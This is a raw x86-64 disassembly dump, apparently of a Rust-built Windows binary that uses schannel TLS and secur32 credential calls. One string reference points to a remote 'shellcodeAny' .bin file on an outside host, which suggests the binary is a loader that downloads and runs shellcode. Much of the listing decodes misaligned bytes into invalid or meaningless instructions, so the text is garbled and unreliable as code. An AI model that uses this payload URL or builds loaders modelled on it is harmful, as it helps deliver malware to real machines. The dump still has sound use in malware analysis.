or eax, 0xba61c
and al, 0xf0
dec qword [rax]
ror byte [rdi], 0x85
mov eax, 0xe8000019
fidivr dword [rsi + 4]
add cl, ch
mov bh, 0xfb
invalid
add dword [rax], eax
add byte [rax], al
test al, 0x1a
add byte [rax], al
test edx, esi
invalid
invalid
add byte [rax], al
adc dword [rbp + 0x78], esi
add byte [rdi], bl
add bh, bh
adc eax, 0x4a1c3
and al, 0x28
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
lea edx, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240812042929113.bin
sal dword [rcx], 1
leave
add ecx, ecx
add byte [rax], al
add byte [rcx], dh
leave
fadd qword [rcx]
add byte [rax], al
xor ecx, ecx
ret
lea esp, [rbp + 0x60]
invalid
adc byte [rcx], dl
mov ecx, dword [0x14019f258]
test ecx, ecx
add byte [rax - 0x39], cl
test eax, edi
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add al, byte [rax]
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0x208], esi
adc eax, 0x49f83
invalid
jge 0x1400e5be3
add cl, byte [rdi]
test byte [rcx + 0x4cfffffd], al
mov ecx, esp
mov rcx, qword [0x58]
sub al, 9
add byte [rax], al
nop dword [rax]
add byte [rbx + rcx*4 + 0x67], cl
pop rax
add dword [rax], eax
add byte [rax - 0x75], cl
or eax, 0xb94a6
add byte [rcx - 0x7d], cl
mov esi, 0x80
add byte [rbx + rdx + 0x4d], dh
mov eax, dword [rsi + 0x78]
add eax, 0xfff98948
ror byte [rax - 0x7d], 1
jle 0x1400e5f83
add byte [rbp + rbx + 0x48], dh
cmp dword [rsi + 0x10], 0x11
mov dword [rbp + 0x68], 1
lock add dword [rax], eax
add cl, ch
or eax, 0x66fffffb
nop dword [rax + rax]
mov bh, 0xaf
invalid
add byte [rax], al
xchg ecx, eax
add al, 0
dec dword [rax - 0x7d]
mov ebp, 0x1f0
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [rbp + 0x1f8]
invalid
add byte [rax], al
add byte [rax], al
test byte [rdi], 0x84
call 0x1a60e6325
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov edi, dword [rcx + rax*8]
invalid
add byte [rax], al
add byte [rbx + 0xb8d4205], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
insd dword [rdi], dx
add dword [rax], eax
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x494f9
add eax, dword [rax]
add byte [rax - 0x73], cl
adc eax, 0x81f94
movabs al, byte [0x2119058d480003b8]
or byte [rax], al
mov eax, 0x8d480003
add eax, 0x82119
test eax, edi
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add al, byte [rax]
add byte [rax], cl
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
invalid
invalid
test dword [rax], ecx
add al, byte [rax]
or byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x8216b
lock or ecx, dword [rax]
add byte [rbp + rcx*4 + 5], cl
mov dword [rax + rcx], ecx
add byte [rdx + 0x2e], bh
add byte cs:[rax], al
invalid
add byte cs:[rax], al
add byte [rax], al
add al, ch
xlatb
mov ecx, 0xc16b0003
add byte [rbx - 0x3f], ch
add byte [rbx - 0x3f], ch
mov qword fs:[rbp + 0x1f0], rdx
invalid
invalid
add byte [rax], al
add al, ch
cmp al, 0xbc
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x80d72
or byte [rax], al
or byte [rax], al
add al, ch
invalid
or eax, 0x80da7
or eax, 0x82363
or al, 0
add byte [rax], al
mov ebx, 0x8d480003
or eax, 0x8133a
add byte [rax], al
add byte [rax], 0
add byte [rdi], cl
movaps xmmword [rsp + 0x30], xmm6
cld
invalid
mov ebx, dword [rsi + 0x38]
invalid
jle 0x1400e6fef
add byte [rsp + rbx + 0x48], dh
mov ecx, dword [0x14019f258]
and eax, 0x4845a
pop rsi
or byte [rax], al
rol dword [rax - 0x18], 0x6a
xchg edi, eax
invalid
invalid
sar bh, cl
adc eax, 0x48400
ror byte [rcx - 0x77], cl
invalid
or byte [rax - 0x77], r9b
ror dword [rax - 9], 0xd9
invalid
cmp dword [rsi + 0x28], 0
add byte [rax - 0x75], cl
or byte [rax - 0x7b], r9b
or byte [rax - 0x7b], cl
or byte [rax - 0x7b], cl
sal byte [rbx + rdx + 0x4c], 0x8b
adc byte [rax - 0x75], r9b
adc ecx, dword [rbx + rcx*4 + 0x46]
adc byte [rax - 0x75], cl
or eax, 0xb819e
xor al, dh
dec qword [rax]
movabs al, byte [0x8948d68948000000]
iretd
add al, al
ret
add byte [rax], al
and al, 0x20
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
test cl, al
add byte [rax], al
test cl, al
add byte [rax], al
add byte [0x1400eb160], ah
lea eax, [0x140169860]
add byte [rax - 0x73], cl
push rsp
and al, 0x40
and al, 0x70
sub dword [rsp + 0x80], ecx
and byte [rdi], cl
sub dword [rdi + 0x20], edx
invalid
add eax, dword [rdi + 0x30]
push rsi
add al, 0
int3
or eax, 0x7c0bd
mov rax, qword [rax + rcx]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
int3
in al, dx
mov rsi, rdx
and eax, 0xadf9d
add byte [rax], al
add byte [rax + 0xf23107f], al
test esi, ecx
add byte [rax], al
add byte [rcx - 0x48], al
and byte [rax], al
add byte [rax], al
clc
dec dword [rax - 0x77]
xlatb
jne 0x1400e7398
mov r15, qword [rdi - 1]
mov rbp, qword [rdi + 7]
mov rax, qword [rbp]
test rax, rax
je case.0x140097fb5.852
mov rcx, r15
call rax
cmp qword [rbp + 8], 0
je 0x1400e7332
cmp qword [rbp + 0x10], 0x11
jb 0x1400e7323
mov r15, qword [r15 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r15
mov eax, edi
mov eax, edi
call r13
dec rdi
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call r13
jmp 0x1400e72ca
invalid
and dword [rbx + 0x58], esi
invalid
add byte [rax - 0x75], cl
pop rsi
adc bl, ch
mov edx, 0xc9058d4c
mov edi, 0x20ba0007
add byte [rax], al
add byte [rax - 0x77], cl
stc
int3
ror dword [rcx + rcx*4 - 0x2e], 0xe9
mov cx, 0
int3
lea rcx, [rax + 1]
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
xor edx, edx
mov r8, rcx
shr r8, 0x3c
sete dl
cmp rcx, 5
cmp ecx, 5
cmp ecx, 5
mov edi, 4
cmovae rdi, rcx
lea r8, [rdi*8]
shl edx, 3
test rax, rax
je 0x1400e7467
mov rcx, qword [rsi + 8]
shl rax, 3
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x50], rax
mov eax, 8
jmp 0x1400e7469
xor eax, eax
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x40]
call fcn.14011c5a0
cmp dword [rsp + 0x28], 1
je 0x1400e749e
mov rax, qword [rsp + 0x30]
and al, 0x30
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
xor byte [rax - 0x75], cl
push rsp
and al, 0x38
call fcn.140122170
int3
mov ah, 0x24
mov al, 0
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0x90], xmm0
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x60], 4
mov dword [rsp + 0xa8], 0x400010
add byte [rax], al
adc byte [rax], al
add byte [rcx], sil
ror byte [rax + 0x3b], 0x41
sbb byte [rcx + 0x6e], dh
add byte [rax], al
adc byte [rax], al
add byte [rcx], sil
ror byte [rax + 0x3b], 0x41
sbb byte [rcx + 0x6e], dh
xor eax, eax
cmp rax, qword [rcx + 0x30]
jno 0x1400e7590
mov r14, qword [rcx + 0x10]
jno 0x1400e7524
test r14, r14
je 0x1400e75d5
lea rdi, [r14*8]
mov rax, r14
add byte [rcx + rcx*4 - 0x10], cl
shr rax, 0x3c
jne 0x1400e7739
invalid
add al, byte [rax]
invalid
invalid
mov rbx, qword [rcx + 8]
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rdi
call fcn.1400f8ae0
test rax, rax
je 0x1400e7743
mov rsi, rax
cmp r14, 6
setb al
mov rcx, rsi
sub rcx, rbx
cmp rcx, 0x20
setb cl
or cl, al
je 0x1400e75e1
xor eax, eax
jmp 0x1400e7610
mov eax, dword [rcx + 0x28]
mov dword [rsp + 0x88], eax
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x90], rax
xor eax, eax
cmp rax, qword [rcx + 0x30]
jo 0x1400e7510
mov rdx, qword [rcx + 0x40]
test rdx, rdx
je 0x1400e75c1
mov r8, qword [rcx + 0x38]
xor eax, eax
lea r9, [0x140191720]
xor r10d, r10d
nop dword [rax]
movzx r11d, byte [r8 + r10]
or eax, dword [r9 + r11*4]
inc r10
cmp rdx, r10
jne 0x1400e75b0
mov dword [rsp + 0x98], eax
mov r14, qword [rcx + 0x10]
test r14, r14
jne 0x1400e751d
xor eax, eax
mov esi, 8
jmp 0x1400e7672
mov rax, r14
and rax, 0xfffffffffffffffc
xor ecx, ecx
nop word [rax + rax]
movups xmm0, xmmword [rbx + rcx*8]
movups xmm1, xmmword [rbx + rcx*8 + 0x10]
movups xmmword [rsi + rcx*8], xmm0
movups xmmword [rsi + rcx*8 + 0x10], xmm1
add rcx, 4
cmp rax, rcx
jne 0x1400e75f0
cmp r14, rax
je 0x1400e766f
mov rdx, r14
mov rcx, rax
and rdx, 3
je 0x1400e7630
mov rcx, rax
nop
mov r8, qword [rbx + rcx*8]
mov qword [rsi + rcx*8], r8
inc rcx
dec rdx
jne 0x1400e7620
sub rax, r14
cmp rax, 0xfffffffffffffffc
ja 0x1400e766f
nop dword [rax]
mov rax, qword [rbx + rcx*8]
mov qword [rsi + rcx*8], rax
mov rax, qword [rbx + rcx*8 + 8]
mov qword [rsi + rcx*8 + 8], rax
mov rax, qword [rbx + rcx*8 + 0x10]
mov qword [rsi + rcx*8 + 0x10], rax
mov rax, qword [rbx + rcx*8 + 0x18]
mov qword [rsi + rcx*8 + 0x18], rax
add rcx, 4
cmp r14, rcx
jne 0x1400e7640
mov eax, r14d
mov dword [rsp + 0x64], eax
mov qword [rsp + 0x68], rsi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
lea rdx, str.Microsoft_Unified_Security_Protocol_Provider
xor ecx, ecx
mov r8d, 2
xor r9d, r9d
call qword [sym.imp.secur32.dll_AcquireCredentialsHandleA]
test eax, eax
je 0x1400e76fd
mov edi, eax
shl rdi, 0x20
or rdi, 2
mov ebx, 1
test r14, r14
je 0x1400e76e2
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rbx
mov rdx, rdi
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r14
ret
movaps xmm6, xmmword [rsp + 0x50]
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400e7750
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x10], xmm6
xor ebx, ebx
test r14, r14
jne 0x1400e76d0
jmp 0x1400e76e2
xor ecx, ecx
mov rdx, rdi
call fcn.140122170
mov ecx, 8
mov rdx, rdi
call fcn.140122170
mov ecx, 8
mov edx, 0x20
call fcn.140122190
int3
mov byte [r14 + rbx], r12b
inc rbx
mov qword [rsp + 0x40], rbx
mov rdx, qword [rdi + rbp + 8]
mov rax, qword [rsp + 0x30]
sub rax, rbx
cmp rax, r12
jb 0x1400e78bb
mov r14, qword [rsp + 0x38]
lea rcx, [r14 + rbx]
mov r8, r12
call fcn.140121660
add rbx, r12
mov qword [rsp + 0x40], rbx
add rbp, 0x18
cmp r13, rbp
je 0x1400e78d6
mov r12, qword [rdi + rbp + 0x10]
cmp rbx, qword [rsp + 0x30]
jne 0x1400e7860
mov rcx, r15
call fcn.14001c770
mov r14, qword [rsp + 0x38]
mov esp, 0x4cfff34e
mov esi, dword [rsp + 0x38]
jmp 0x1400e7860
mov rcx, r15
mov r14, rdx
mov rdx, rbx
fimul dword [rbp - 0x77]
loopne 0x1400e78b0
adc al, 0x36
add al, 0
fimul dword [rbp - 0x77]
loopne 0x1400e78b0
adc al, 0x36
add al, 0
add al, 0
mov rdx, r14
mov rbx, qword [rsp + 0x40]
jmp 0x1400e787e
lea rdi, [rbx + 0xa]
movabs rax, 0x7ffffffffffffffd
invalid
invalid
invalid
invalid
invalid
invalid
jg 0x1400e792d
cmp edi, eax
cmp edi, eax
jb 0x1400e7919
lea rax, [0x140163500]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
invalid
or al, byte [rax]
lea r9, [0x140163470]
invalid
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x2f
mov edx, 0x2b
call fcn.140122900
invalid
invalid
mov edi, 0xa
add byte [rax], al
xor ebx, ebx
movzx eax, byte [0x14019f308]
xor ecx, ecx
jns 0x1400e792a
add byte [rcx], dh
leave
mov rdx, rdi
call fcn.1400f8ae0
test rax, rax
je case.0x14009a20c.476
mov r15, rax
lea eax, [rbx + 6]
mov dword [r15], eax
mov dword [r15 + 4], 2
mov dword [rdi + 4], 2
invalid
mov dword [rdi + 4], 2
add byte [rsi + 0x41], ah
mov dword [rdi + 8], ebx
mov word [r15 + 8], bx
cmp rbx, 0xfffffffffffffff5
ja 0x1400e79b6
mov rcx, r15
stc
add rcx, 0xa
mov rdx, r14
mov r8, rbx
call fcn.140121660
add ebx, dword [rbp - 0x38b7fffd]
invalid
add al, 0
add byte [rax], al
add byte [rax - 0x77], cl
jle 0x1400e7970
add ebx, dword [rbp - 0x38b7fffd]
invalid
add byte [rax - 0x77], cl
jle 0x1400e7970
mov dword [rsi + 8], edi
mov qword [rsi + 0x10], r15
mov dword [rsi + 0x10], edi
cmp qword [rsp + 0x30], 0
xor byte [rax], al
add byte [rbx + riz + 0x48], dh
je 0x1400e7997
mov rcx, qword [0x14019f258]
mov ecx, dword [0x14019f258]
xor edx, edx
mov r8, r14
add rsp, 0x48
add esp, 0x48
invalid
add esp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
test eax, 0x9000047a
nop
add rsp, 0x48
add esp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
mov ecx, 4
mov rdx, rdi
add byte [rax - 0x77], cl
cli
call fcn.140122190
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x140163518]
pop rbx
mov ebx, 0xab90007
mov ecx, 0xa
mov rdx, rdi
mov edx, edi
mov ecx, 0xa
mov rdx, rdi
mov edx, edi
add byte [rcx], dh
leave
cmpsd dword [rsi], dword [rdi]
add eax, dword [rax]
add dword [rax], eax
int3
int3
mov eax, dword [rdx + 0x28]
lea edx, str.LayoutErrorC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_alpn_list.rs
lea edi, [rdx - 0x47befff9]
invalid
add byte [rax], al
add byte [rax - 1], cl
jmp rax
int3
int3
push rdi
push r14
sub esp, 0xf8
in al, dx
clc
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x31], al
sbb byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
invalid
add byte [rax], al
mov ah, 0x24
test al, 0
invalid
and al, 0xa8
add byte [rax], al
movabs al, byte [0x68244c8d48000000]
and al, 0x68
invalid
dec dword [rax - 0x75]
and al, 0x70
invalid
add al, 0x12
and al, 0x78
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
in eax, dx
or byte [rax], al
add byte [rax], al
invalid
mov ch, 1
add dword [rbp - 0x77], ecx
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], al
invalid
invalid
mov ah, 0x24
invalid
mov dword [rsp + 0xb4], esi
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
test byte [rax + rdi*4], ah
invalid
mov dword [rsp + 0xb8], eax
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
invalid
rol byte [rax], 0
loopne 0x1400e7b3c
add byte [rax], al
and al, 0x64
and al, 0x50
add byte [rax], al
lea eax, [rsp + 0x80]
add byte [rax], al
and al, 0x58
add byte [rbp + 0x33], dh
add byte [rax], 0
loopne 0x1400e7c04
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rbx + rbx*8 - 0x74b2fb8b], al
test bl, bl
jne 0x1400e7c09
mov r8, qword [r8 - 8]
add al, 0x4d
jl 0x1400e7c40
push 0x4c147400
in al, 0x78
xor esp, esp
and esp, 0x3f
add al, 0x83
add cl, byte [rax - 0x46]
stosd dword [rdi], eax
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
loop 0x1400e7d61
shr edx, 1
add byte [rax + 0xf], cl
invalid
cmp edx, eax
test eax, eax
loop 0x1400e7e0d
test ah, ah
add byte [rax], al
add byte [rcx + rcx*4 - 0x1f], al
xchg byte [rbp + 0x44000000], cl
movzx esp, byte [rdi + 2]
invalid
invalid
dec dword [rax - 0x75]
and al, 0x40
mov esp, eax
sbb byte [rax - 0x73], cl
adc eax, 0x7b811
jmp rax
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x7b784
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x7b6e7
invalid
invalid
jmp rax
add byte [rax], al
add byte [rax - 1], cl
loopne case.0x1400dcd85.64
invalid
mov ecx, dword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
jmp rax
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x7b570
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401638a7]
adc eax, 0x7b642
adc eax, 0x7b642
mov r8d, 0x2c
jmp rax
add byte [rax], al
add byte [rax - 1], cl
loopne 0x1400e8257
int3
mov ecx, dword [rcx]
cmp qword [rcx + 0x18], 0
jns 0x1400e82b6
add byte [rdi], cl
invalid
add byte [rax], 0
invalid
jns 0x1400e82b6
add byte [rdi], cl
test byte [rax + 0x48000000], al
lea eax, [rcx + 0x18]
lea rax, [rcx + 0x18]
mov qword [rsp + 0x28], rcx
add rcx, 0x20
shl dword [rax], 0x4c
lea eax, [fcn.1400e7fd0]
shl dword [rax], 0x4c
lea eax, [fcn.1400e7fd0]
std
invalid
mov qword [rsp + 0x30], r8
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
push rax
lea rax, [0x140163960]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 3
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x28]
js 0x1400e82f4
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 3
and al, 0x70
add eax, dword [rax]
add byte [rax], al
and al, 0x70
add eax, dword [rax]
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x58]
and al, 0x58
and al, 0x58
call fcn.140009870
nop
add rsp, 0x88
add bl, al
add bl, al
add rsp, 0x88
jmp fcn.1400e7fd0
int3
int3
int3
push rbx
sub rsp, 0xc0
mov rsi, rdx
mov rdi, qword [rcx]
mov qword [rsp + 0x50], 0
push rax
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x58
add dword [rax], eax
mov qword [rsp + 0x58], 1
add byte [rax], al
mov qword [rsp + 0x60], 0
mov qword [rsp + 0xb0], 0x20
mov dword [rsp + 0xb0], 0x20
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test byte [rax + rsi*4], ah
and al, 0xb0
mov dword [rsp + 0xb0], 0x20
and al, 0xb0
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rbx], al
invalid
mov byte [rsp + 0xb8], 3
add ecx, dword [rax - 0x39]
test byte [rax + rax*4], ah
add byte [rax], al
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
nop
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x90], 0
lea rax, [rsp + 0x50]
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x7b2a5
mov dl, 7
invalid
mov dl, 7
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
lea ebx, [rsp + 0x80]
mov ecx, edi
or bh, ah
push rax
sub dword [rsp + 0x30], eax
xor byte [rax - 0x75], cl
and al, 0x60
and al, 0x40
mov dword [rsp + 0x80], ecx
add byte [rax], 0
mov dword [rsp + 0x90], eax
invalid
mov dword [rsp + 0xa8], eax
and al, 0xa8
lea eax, [0x1401639a8]
jo 0x1400e8448
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
pop rsp
and al, 0x68
add eax, dword [rax]
add byte [rax], al
invalid
adc al, 0xf2
adc eax, 0x46fb7
add esp, 0xc0
add eax, 0xa5f4b
invalid
invalid
movsb byte [rdi], byte [rsi]
add ah, cl
mov rax, qword [rcx + 8]
sub byte [rax - 0x77], cl
stc
sahf
add eax, dword [rax]
invalid
add byte [rax], 0
add byte [rbx + 0x28], dh
mov bh, 0
add byte [rax], al
add byte [rax], al
retf 0x8880
cdq
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
invalid
jmp rax
invalid
add dword [rax], eax
add byte [rax], al
and al, 0x58
sbb al, 0x85
add byte [rax], al
add byte [rax], al
ror dword [rcx - 0x77], 1
invalid
add dword [rcx], esi
invalid
shl eax, 4
rol byte [rax], cl
rol byte [rbx - 0x7cf0fd01], 0x2e
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rbx + 0xf4001e0], al
xchg esp, eax
mov dword [rax + 0x20], 0xc22949f7
and bh, dh
sub r10, rax
lea edx, [0x14016360b]
jmp 0x1400e8b29
sbb byte [rax - 0x73], cl
adc eax, 0x7ab9f
add byte [rcx - 0x48], al
add eax, dword [rax]
add byte [rax], al
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x7aab9
mov r8d, 0xc
jmp 0x1400e868d
invalid
mov dword [rsp + 0x68], 1
add byte [rax], al
add byte [rax], al
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x7aa10
mov r8d, 0xe
jmp 0x1400e868d
add byte [rax - 0x39], cl
sar bh, 0xff
invalid
invalid
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rax - 9], cl
ror dword [rcx + rax - 0x27], 1
invalid
invalid
cmp ecx, 0x1869f
invalid
add dword [rax], eax
add byte [rax], al
mov esi, dword [rsp + 0x58]
mov bl, 0xd6
invalid
fild word [rbp + 0x4c60003]
cmp ebp, dword [rsi]
and al, 0x48
and al, 0x78
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x60]
lea eax, [rsp + 0x60]
clc
add eax, 0x24b48b4c
mov ah, 0x24
mov ah, 0x24
cwde
add byte [rax], al
add byte [rax], al
jae 0x1400e918b
add byte [rax], al
imul cl
invalid
jg 0x1400e9238
mov eax, esi
mov byte [rax], cl
add qword [rax - 0x3f], rcx
out dx, al
cmp ecx, 9
xchg esp, eax
invalid
and al, 0x20
add cl, byte [rax - 0x73]
and al, 0x20
and al, 0x28
xor al, byte [rbx + 0x48]
mov eax, dword [rsp + 0x58]
and al, 0x58
add byte [rbx + rcx*4 + 0x44], cl
and al, 0x38
mov byte [rax + rdi], 8
mov esp, 0x32212110
and dword [rdx], esi
xor al, byte [rbx + 0x4c]
mov eax, dword [rsp + 0x30]
or eax, dword [rax]
add byte [rbp - 0x7b], cl
test byte [rcx - 0x45], 3
add byte [rax], al
add byte [rsi + 2], bh
inc eax
sete dl
mov eax, esi
add eax, dword [rax]
add byte [rax], al
punpcklwd mm0, mm0
cmovne eax, edi
mov ecx, esp
invalid
cmovne eax, ecx
test bh, 3
enter 0xffffffffffffdd75, 0xffffffffffffffe9
stosd dword [rdi], eax
add byte [rax], al
add byte [rcx + rcx*4 - 8], cl
mov esi, esi
invalid
enter 0xffffffffffffdd75, 0x48
lea ecx, [rsp + 0x40]
add al, byte [rax]
add byte [rax], al
and al, 0x78
add eax, edi
ror byte [rax - 0x7d], 0xf8
add esi, dword [rbx + 0x12]
xor eax, eax
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
mov esi, dword [rsp + 0x28]
mov esi, dword [rsp + 0x28]
add byte [rax], al
add byte [rax + 0x39], cl
out dx, al
cmovne eax, ebx
add byte [rbp + 0xf], cl
ret
add eax, dword [rax]
sahf
invalid
invalid
push rdx
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rbp - 0x73], cl
pop rax
add al, 0x49
cmp ebx, edx
ja 0x1400ea81d
cmp r8, rdx
cmp eax, edx
jae 0x1400eaa24
enter 2, 0
mov r10, qword [rax]
movzx r9d, byte [r10 + r8]
lea rbx, [0x1401646f8]
movzx r9d, byte [r9 + rbx]
movzx ecx, byte [rcx + rbx]
movzx ecx, byte [rcx + rbx]
movzx esi, r9w
lea r9, [r8 + 1]
mov qword [rax + 0x10], r9
cmp esi, 0xff
add byte [rax], al
je 0x1400ea818
nop
add byte [rax], al
add byte [rcx + 0x39], cl
cmp r9, rdx
jae 0x1400eaa27
movzx r9d, byte [r10 + r8 + 1]
cmp r9, rdx
jae 0x1400eaa27
movzx r9d, byte [r10 + r8 + 1]
movzx r9d, byte [r9 + rbx]
or al, 0x19
movzx edi, r9w
lea r9, [r8 + 2]
mov qword [rax + 0x10], r9
cmp edi, 0xff
je 0x1400ea818
cmp r9, rdx
jae 0x1400eaa27
ror dword [rdi], 1
sub dword [rsi + 2], 0
add byte [rdi + 0xf], al
mov dh, 0x4c
add al, byte [rdx]
movzx r9d, byte [r10 + r8 + 2]
movzx r9d, byte [r9 + rbx]
movzx r9d, r9w
add r8, 3
mov qword [rax + 0x10], r8
cmp r9d, 0xff
je 0x1400ea843
invalid
push 0x49
cmp eax, edx
cmp r8, rdx
jae 0x1400eaa24
movzx edx, byte [r10 + r8]
movzx edx, byte [rdx + rbx]
movzx edx, dx
mov qword [rax + 0x10], r11
pop rax
adc byte [rcx + 0xfffa], al
inc dword [rax]
add byte [rax], al
pop rax
adc byte [rcx + 0xfffa], al
inc dword [rax]
add byte [rax], al
je 0x1400ea846
shl esi, 8
inc dword [rax]
add byte [rax], al
je 0x1400ea846
shl rsi, 8
shl esi, 8
or cl, al
out 4, eax
shl edi, 4
add edi, esi
add edi, r9d
shl edi, 4
add edi, edx
mov word [rcx + 2], di
mov word [rcx], 0
jmp 0x1400eaa18
mov r11, r9
jmp 0x1400ea846
mov qword [rax + 0x10], rdx
mov qword [rsp + 0x28], 4
and al, 0x28
add al, 0
add byte [rax], al
and al, 0x28
add al, 0
add byte [rax], al
mov rsi, rcx
test rdx, rdx
invalid
jne 0x1400ea92e
add byte [rax], al
mov eax, 1
xor r8d, r8d
xor eax, eax
add byte [rax], al
add byte [rbp + 0x31], al
xor eax, eax
invalid
invalid
xor eax, eax
jmp 0x1400eaa02
add dword [rax], eax
add byte [rbp - 0x77], cl
ret
mov r11, r8
mov rsi, rcx
mov qword [rsp + 0x28], 0xc
lea rcx, [r11 - 1]
mov eax, r11d
and eax, 3
cmp rcx, 3
jae 0x1400ea86f
mov edx, 1
xor r8d, r8d
jmp 0x1400ea8f4
and r11, 0xfffffffffffffffc
mov r9d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov edi, 3
mov ebx, 2
movabs r14, 0x4332322132212110
mov edx, 1
nop dword [rax]
add r8, 4
movd xmm1, dword [r10]
outsb dx, byte [rsi]
